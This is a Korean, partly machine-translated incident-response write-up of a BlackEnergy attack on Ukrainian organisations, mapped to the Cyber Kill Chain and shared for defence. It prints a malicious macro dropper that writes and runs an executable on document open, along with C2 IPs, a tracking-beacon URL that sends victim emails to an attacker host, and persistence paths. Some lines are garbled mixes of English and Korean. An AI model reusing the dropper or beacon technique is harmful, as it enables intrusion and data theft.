블랙에너지를 해체하다, 3부 – 모두 탑승!
목차:
Abordage – the act of 배에 오르다 적 선박 as 부분 of an 공격.
In today’s post, I will describe a part of investigation of one cyber security incident that has eventually evolved into a global investigation connected with an attack based on BlackEnergy that has hit a number of industries in Ukraine. As we progressed through investigation and performed a systematic retrospective analysis, we have mapped the attack to the Lockheed Martin’s Cyber Kill Chain methodology and thus I will refer to its structure during my story.
프롤로그
여기에 이야기가 시작됩니다. 사용자 이름과 인프라 서버 이름은 숨겨지고 변경되어야 하기 때문에 적절한 수준의 신중함을 지켜야 합니다. 그러나 날짜 및 외부 IP 주소는 변경되지 않았으며, 로그 파일에 나타난 그대로 공유합니다. 우리가 따랐던 행동 계획은 다음과 같습니다: 모든 침해 지표(IOC)를 발견하면 로그 데이터와 교차 확인하고, 추가 발견된 사항에 따라 필터를 수정한 후, 다시 검색을 시작합니다. 우리는 수 기가바이트의 로그를 체계적으로 분석하였으며, 큰 그림이 점점 더 분명히 드러나기 시작했습니다. 이를 이 기사에서 여러분과 공유하려고 합니다.
10월 25일 일요일 아침, IT 관리 부서에서 도메인 컨트롤러 서버가 밤새 갑자기 종료되었으며 다시 켜지지 않는다는 메시지를 받았습니다. 팀이 현장에 도착했을 때, 가장 먼저 요청한 것은 ‘크래시된’ 서버의 이미지였습니다(당연히 가상 이미지가 있었습니다). 초기 분석에서 두 서버 모두 MBR이 덮어쓰였다는 것이 명확히 드러났습니다. 우리는 일부 현실적인 TestDisk 마법을 사용하여 MBR을 복구할 수 있었습니다 (https://en.wikipedia.org/wiki/TestDisk) 그리고 분석을 진행했습니다. 상황이 더 흥미로워졌습니다. 디스크의 대부분의 파일은 0으로 채워져 있었으며, 때문에 동일한 크기의 동일한 파일처럼 보였습니다. 그러나 내부에는 0만이 있었습니다! 살아남은 파일 중 몇 가지 이벤트 로그 파일은 타임라인의 모든 이상 이벤트를 매핑하기 위한 출발점으로 활용되었습니다. 사건이 발생한 순간부터 시작하여 발견한 지표를 역순으로 설명하겠습니다 (침투부터).
챕터 1. 공격의 행동 및 목표
복구된 도메인 컨트롤러의 로그 데이터를 분석하는 동안, 또 다른 서버가 유사한 증상으로 ‘감염’되었다는 새로운 전화가 왔습니다. 이번에는 애플리케이션 서버였습니다. 그래서 이 서버의 이미지도 받았습니다:
우리는 ‘크래시’ 직전에 발생한 이벤트를 분석하고 그것들을 우리의 타임라인에 매핑했습니다:
여기서 정확히 무엇이 표시되는지 약간 설명하겠습니다. 파란색 테두리가 있는 영역은 서버 크래시로 관찰된 행동의 결과를 표시합니다. 종료 직전에 도메인 관리자 계정으로부터의 무단 로그인 시도가 기록되었습니다. 수행된 작업에는
svchost.exe
서비스 수정 및 하위 서비스 생성 msDefenderSvc
:
https://www.virustotal.com/en/file/f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95/analysis/좌측에는 전역 정책이 수정되었음을 증명하는 또 다른 관심 있는 사건이 있습니다:
단단한 추측 없이 스크립트 내용을 보면 사용자가 자신의 PC에 로그인할 때 ololo.exe
(부분적으로 되돌리고 여기에 설명된) https://socprime.com/en/blog/dismantling-killdisk-reverse-of-the-blackenergy-destructive-component/) 네트워크 공유에서 자동으로 다운로드됩니다.
또한, 워크스테이션의 로그를 분석함으로써(앞서 말하자면 백 개 이상의 워크스테이션의 로그를 확인했습니다) 다음과 같은 이상 현상을 발견했습니다: PC의 예약된 작업을 수정한 권한 있는 사용자가 생성한 이벤트 세트:
이 사건은 도메인 컨트롤러 로그에서 이렇게 보였습니다:
또한 사용자의 PC에서는 이렇게 보였습니다:
이것은 기본적으로 도메인 컨트롤러가 그룹 정책을 워크스테이션에 푸시하기 전에, 작업을 마무리하지 못하고 일찍 크래시될 경우를 대비한 ‘죽을 쏘기’ 였습니다. 결과적으로, 우리는 이 공격의 일부분을 킬 체인 모델의 ‘목표에 대한 행동’으로 명확히 매핑할 수 있습니다. 이 경우 목표는 가능한 최대 수의 PC에 데이터를 파괴하는 것입니다.
챕터 2. ‘설치 및 착취’로 불리며 취약성을 이용해 BlackEnergy 배포.
적들이 서버에 접근하기 전에 무엇이 발생했을까요? 이벤트 로그를 분석함으로써, 다음과 같은 사건의 순서를 발견했습니다:번호별 공격 단계 설명:
1 & 2 – 무단 VPN 접근 및 도메인 컨트롤러로 즉시 RDP 접근
3 – 설치 VBoxDrv.sys
(CVE-2008-3431) 서비스. 이 단계는 DSE (드라이버 서명 강제 적용은 드라이버 서명의 필수 검사)를 재부팅 없이 우회하기 위해서 필요했습니다 ( http://www.coresecurity.com/content/virtualbox-privilege-escalation-vulnerability ).
4 – 이전 단계의 일환으로 DSE가 무력화되었기 때문에, 자가 서명된 드라이버 설치 adpu320.sys
and amdide.sys
더 이상 문제가 되지 않습니다.
두 .sys 파일은 동일한 해시 값을 생성합니다. 2015.11.06 당시 2곳의 백신 솔루션만이 그것들을 검출할 수 있었습니다. 하지만 이미 우리는 BlackEnergy (두 도메인 컨트롤러에는 백신 솔루션이 실행되고 있었지만, 그것을 잡을 수 있는 두 곳 중 하나는 아니었습니다):4일 후, 12개의 백신 프로그램이 이 샘플을 검출하게 되었습니다.
따라서, 우리는 이 공격 단계를 “설치” 및 “착취”의 사이버 킬 체인 단계에 성공적으로 매핑할 수 있습니다.
챕터 3. “목표에 대한 행동”, “정찰”
관리자 계정이 타협된 것이 분명하며, 그들의 워크스테이션도 또한 무단 접근 대상이 되었을 가능성이 높습니다. 그들의 워크스테이션 로그 (및 몇 백 개의 다른 워크스테이션) 분석을 기반으로 원격 관리 유틸리티 사용과 관련된 비정상 활동이 발견되었습니다. Sysinternals
스위트 PsExec
가 발견되었습니다:
위의 타임라인은 워크스테이션으로부터 데이터 수집과 관련된 활동의 일부를 나타냅니다.
그리고 워크스테이션 로그에서 사건은 다음과 같이 표시됩니다:
이 단계는 사이버 킬 체인 모델과 다시 한 번 매핑 될 수 있으며, 각각 “정찰” 및 “목표에 대한 행동” (인프라와 사용자에 대한 데이터 수집이 목표) 에 해당합니다. 적들이 추가 데이터를 워크스테이션에서 수집하여 공격을 더 진전시켰을 것으로 의심되기 때문에 이 단계를 “정찰”로도 매핑했습니다.
챕터 4. “명령 및 제어(C2)”와 BlackEnergy 서버와의 소통
우리는 워크스테이션 로그와 방화벽 로그의 병렬 분석을 수행했습니다. BlackEnergy가 우리를 공격하기 위해 사용되었음이 분명했기 때문에, 우리는 이 문제에 대한 모든 공개된 연구 및 기사를 사용하여 알려진 명령 센터와의 통신을 확인했습니다:타임라인의 이 부분에서 보이듯이, 우리는 공격의 역사를 2015년 5월까지 추적합니다! 2015년 5월 15일은 Tor 네트워크의 일부이기도 한 알려진 명령 및 제어 서버와의 최초 통신이 있었던 날입니다 (
5.149.254.114
).
불행히도, 이 명령 센터와 통신을 수행한 워크스테이션에는 또한 여러 YouTube 프로필의 비밀번호가 포함된 파일이 있었고, 2015년 5월 22일에는 이들 계정이 탈취되었습니다. 해킹은 다른 두 서버에서 사용되었습니다. 185.61.138.143
and 46.28.68.158
(다시 Tor 노드) 가짜 이메일 주소와 복구 전화번호가 사용되었습니다. 공격으로 인해 어떤 특별한 피해가 발생하지 않았으며 그 당시에는 그것이 목표가 된 해킹처럼 보이지 않았습니다. 계정은 빠르게 복구되었고, 2단계 인증이 추가되었고, 결론이 도출되었으며, 사건은 2015년 11월까지 종결된 상태로 남아 있었습니다 – 이것이 명백히 더 큰 퍼즐의 일부가 된 날까지.
나는 이 공격 단계를 “명령 및 제어(C2)”로 분류할 수 있다고 믿습니다:
챕터 5. BlackEnergy 모듈의 ‘전달’
우리는 방화벽 로그에서 명령 서버와 통신을 수행한 모든 워크스테이션 목록을 검색했으며, 이러한 워크스테이션의 IP 주소를 기반으로 필터를 작성하였으며, 2015년 내내 이러한 머신이 수행한 모든 활동을 통해 이상 현상과 패턴을 찾기 위한 검색을 수행했습니다. 패턴이 발견되었습니다. 흔한 서버(예: Google, Facebook/VK/Twitter 등) 외에 하나의 서버가 또 다시 나타났습니다. 176.53.127.194 (그리고 이 또한 Tor 노드입니다!):
2015년 4월 23일, 한 직원이 평범한 이메일을 받았는데, 자세히 들여다본 결과 몇 가지 흥미로운 세부 사항이 표시되었습니다(물론 조사가 진행되는 동안, 이메일이 개봉된 지 반년 이상 지난 후)
먼저, 이메일 헤더를 살펴보겠습니다:
Received: from mx1-mail.com (mx1-mail.com [5.149.248.67]
) Thu, 23 Apr 2015 09:43:45 +0300
Received: from webmail.rada.gov.ua (port=80 helo=webmail.rada.gov.ua)
by mx1-mail.com [5.149.248.67]
with esmtp (envelope-from <info@rada.gov.ua>)
From: «info@rada.gov.ua» <info@rada.gov.ua>
Return-Path: info@rada.gov.ua
5.149.248.67 – 이미 다른 조직에 비슷한 이메일을 보내는 데 사용된 알려진 IP 주소입니다 (https://cys-centrum.com/ru/news/black_energy_2_3).
첨부 파일에 관하여, .xls 파일에는 다음과 같은 매크로가 포함되어 있습니다:
Private Sub Init0()
a(1) = Array(77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 232, 0, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36, 0, 0, 0, 0, 0, 0, 0)
…..프리……
a(864) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0).
End Sub
Private Sub MacroExpl()
Dim fnum As Integer
Dim fname As String
Dim i As Integer
Dim j As Integer
Dim aa As Byte
Init0
…
Init28
fnum = FreeFile
fname = Environ(“TMP”) & “vba_macro.exe“
Open fname For Binary As #fnum
For i = 1 To 864
For j = 0 To 127
aa = a(i)(j)
Put #fnum, , aa
Next j
Next i
Close #fnum
Dim rss
rss = Shell(fname, 1)
End Sub
Private Sub Document_Open()
MacroExpl
End Sub
By putting together all 864 elements of the array А, as an output we will receive vba_macro.exe
, 사실상 BlackEnergy 드로퍼
https://www.hybrid-analysis.com/sample/ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525?environmentId=1드로퍼가 이미 우리가 알고 있는 명령 서버에 연결을 시작합니다:그 후, 악성코드는 추가적인 “명령어”를 받아들여
FONTCACHE.DAT
라는 파일을 형성하고, 그것을 rundll32.exe
를 사용하여 로드합니다. FONTCACHE.DAT
사실상 변형입니다
– 2002년 해커 백과사전, Whirlwind Software가 Windows OS 용으로 개발함:C:WINDOWSsystem32rundll32.exe C:WINDOWSsystem32rundll32.exe" "C:Documents and Settings<USER>Local SettingsApplication DataFONTCACHE.DAT"
그런 다음 이것을 시작 프로그램에 씁니다:C:Documents and Settings<USER>Start MenuProgramsStartup{22A16F66-CB92-4B66-8BDE-26B5CD34553F}.lnk
이제 이메일의 푸터에 로드되지 못한 그림의 사진을 세밀히 봅시다:우리의 “사진”에 대한 링크는 다음과 같습니다:
src="http://176.53.127.194/bWFpbF9pdmFub3YuaXZhbkBkb21lbi51YQ==.png
몇 가지 Base64 디코딩 후에는 다음으로 바뀝니다:src="http://176.53.127.194/mail_ivanov.ivan@domen.ua.png
따라서, 이는 적들에게 경고가 되며 Ivan Ivanov가 이메일을 성공적으로 열었고 “추가 명령”을 받을 준비가 되어 있음을 확인합니다.
다시 한번 강조하고 싶은 것은 4월에 오직 한 통의 이메일만이 있었고 그 수신자는 단 한 명이었습니다.
이제 7월에 접수된 이메일을 살펴보겠습니다 (2,000개 이상의 주소로 대량 발송). 모든 이메일에는 동일한 “비콘”이 포함되어 있었고 이는 동일한 IP로 다시 보고되었습니다 (176.53.127.194
) 수신자를 정확히 식별했습니다. 따라서 이것은 단순한 스팸 캠페인이 아니라 대상화된 캠페인이었으며, 유일한 차이점은 디코딩된 메시지에서 접두사 “mail_”이 없다는 것입니다:
헤더의 동일한 IP 주소:
Received: from mx1-mail.com (mx1-mail.com [5.149.248.67]
) by
Received: from webmail.rada.gov.ua (port=80 helo=webmail.rada.gov.ua)
by mx1-mail.com [5.149.248.67]
with esmtp (envelope-from <pravyysektor@rada.gov.ua>)
From: “pravyysektor@rada.gov.ua” <pravyysektor@rada.gov.ua>
Date: Tue, 28 Jul 2015 09:08:38 +0200
Return-Path: pravyysektor@rada.gov.ua
우리가 명확히 볼 수 있는 “비콘”이 있는 편지 내용:회사 전체에 대량 발송되었음에도 불구하고 스팸인, 그리고 그런 내용의 이메일을 여는 것이 금지되어 있음에도 불구하고 여전히 일부 사용자가 이메일을 열었고 이는 알려진 명령 및 제어 서버와의 통신 폭발을 초래했습니다:
타임라인에서 관찰되는 바와 같이 첫 번째 통신에서는 28,863 바이트를 다운로드하고 다음 통신에서는 이미 359,276 바이트 등으로 통신이 명확한 순서와 명확한 구조를 가지고 있었습니다:
이 공격 단계를 “전달”로 분류하는 데 의심의 여지가 없습니다:
우리가 볼 수 있듯이, 이 공격은 사이버 킬 체인 방법론을 사용하여 명료하게 설명할 수 있는 지능형 지속 위협(APT) 구조의 모든 징후를 갖추고 있습니다.
결과의 평가
부정적인 측면에선: 데이터가 두 개의 도메인 컨트롤러, 하나의 애플리케이션 서버, 12대 이상의 PC에서 파괴되었습니다.긍정적인 측면에선: 우리는 무료 침투 테스트, 실제 APT 조사의 귀중한 경험을 얻었고 로그 처리뿐 아니라 악성코드 역공학까지 우리 작업을 자동화하는 다수의 도구를 생성/조정했습니다(하지만 이는 별도의 전체 기사의 주제라 미리 말씀드리겠습니다). 경영진은 정보보안의 목적에 대한 훨씬 더 나은 이해를 얻었습니다(귀중합니다!). 실제 위협과 그에 따른 조사를 보여주는 단 한번의 시연이 이전의 염려 표명이나 가상 위협보다 우리에게 더 많은 도움이 되었습니다. IT 관리자와 철저하게 협력하여 우리의 전문 협력을 다음 수준으로 끌어 올렸습니다. 따라서 저는 이 사건들을 적들의 방법과 기술을 실제로 이해하기 위한 진정한 사이버 전투 훈련 및 최고의 교훈으로 간주합니다.
결론적으로, 많은 것들이 기사에서 빠져 있고 몇몇 부분은 여전히 철저히 연구되고 있음을 말하고 싶습니다.
이 조사를 발표함으로써 달성하고자 하는 두 가지 목표가 있습니다:
- 한 측면에서는, BlackEnergy 가 인류가 살지 않는 행성에 떨어뜨릴 수 있는 거대 괴물이 아니라는 것을 보여주며, 6개월 후에는 자신의 활동 기지를 만들어 생존할 수 있다는 것을 보여주는 반면 🙂 다른 측면에서는, 전문적인 손에 들어가면 공격 피해자에게 엄청난 피해를 줄 수 있는 강력하고 전문적인 도구입니다.
- BlackEnergy를 활용한 공격이 단순한 사이버 습격이 아니라 군사 특수 부대에 의해 수행되는 것과 유사한 정교하게 조직되고 정밀하게 계획된 작전이며 기술의 진화의 하나의 예라는 것을 강조하는 것입니다 (이 연관성으로 인해 기사 그림을 선택했습니다).
위에 기반하여, 우리는 이러한 정보를 사용하는 시나리오 중 하나를 구축할 수 있습니다: 누군가가 은행을 해킹해야 할 이유가 무엇인지, 사이트 간 VPN 연결이 지속적으로 이루어지는 어떤 공급 체인 회사의 인프라에 대한 접근을 구매만 하면 될 이유를 보여주는 것입니다. 그리고 “공식적으로 인증된” 접근을 받습니다 (우리는 은행과 청소부에 대한 만화를 참조할 수 있습니다: https://www.youtube.com/watch?v=fB2b-lTjCQA ).
항상 그렇듯이, 기사에서 언급된 지표(IOC)를 읽은 후 로그 데이터를 확인해주신 모든 분들께 감사드립니다.
후속 기사에서는 적 활동의 특정 지표를 감지하고 그러한 사건이 조직에서 발생할 가능성을 최소화하거나 최소한 신속한 발견의 가능성을 높이기 위한 조직 및 기술 조치의 집합을 구축할 수 있는 몇 가지 방법을 공유할 것입니다.
크레딧
동료들의 열정, 끈기, 잘 수행된 작업에 감사의 마음을 전합니다. 분석 및 기사 준비를 도와 준 Marina Krotofil과 Andrii Bezverkhyi 팀에 특별한 감사를 표하고 싶습니다. 수사 및 공격 대응 중에 제공된 하드웨어 및 소프트웨어에 대한 물질적 및 기술적 도움을 준 HPE , LanTec and SOC Prime 에게 추가적인 감사의 말을 전합니다.
Andrii Bezverkhyi 가 번역 | SOC Prime CEO